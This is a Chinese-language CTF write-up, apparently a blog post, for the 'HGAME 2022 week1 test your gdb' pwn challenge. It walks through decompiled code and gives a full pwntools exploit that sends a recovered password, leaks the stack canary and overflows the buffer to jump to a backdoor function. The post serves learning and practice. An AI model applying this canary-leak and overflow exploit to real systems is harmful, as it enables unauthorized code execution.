nssctf-[HGAME 2022 week1]test your gdb

checksec检查一下:

开启了Canary保护和NX保护,64位程序。

IDA打开程序:下面是程序的主要代码

unsigned __int64 __fastcall work(void *a1)
{
  char v2[256]; // [rsp+0h] [rbp-150h] BYREF
  __int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
  __int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
  char buf[16]; // [rsp+120h] [rbp-30h] BYREF
  char v6[24]; // [rsp+130h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+148h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v3[0] = 0xBA0033020LL;
  v3[1] = 0xC0000000D00000CLL;
  s2[0] = 0x706050403020100LL;
  s2[1] = 0xF0E0D0C0B0A0908LL;
  SEED_KeySchedKey(v2, v3);
  SEED_Encrypt(s2, v2);
  init_io();
  puts("hopefully you have used checksec");
  puts("enter your pass word");
  read(0, buf, 0x10uLL);
  if ( !memcmp(buf, s2, 0x10uLL) )
  {
    write(1, v6, 0x100uLL);
    gets(v6);
  }
  else
  {
    read(0, v6, 0x10uLL);
  }
  return __readfsqword(0x28u) ^ v7;
}

由代码可知,需要绕过Canary保护,当buf=s2时可以进入栈溢出代码,同时程序有后门函数。

我们需要利用write(1, v6, 0x100uLL);泄露出Canary的值,我的理解是将从v6开始的内存单元读取0x100个字节并写入1中,因此我们可以根据v7与v6的偏移将v7读取出来。

也就是p.recv()[0x20-0x8:0x20]

通过gdb调试可得s2的值(可直接用$rbp-0x40,无需自己计算出实际地址):

此时便可以开始编写exp

from pwn import *
p = remote("node5.anna.nssctf.cn",29656)

system_addr = 0x401256

payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
p.sendafter(b"enter your pass word\n",payload)
canary = u64(p.recv()[0x20-0x08:0x20])
print(hex(canary))
payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(system_addr)
p.sendline(payload)
p.interactive()

注意接收Canary前发送payload选择send就行,如果用sendline会多发送一个换行符,这时Canary的接收就不是p.recv()[0x20-0x8:0x20]了

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值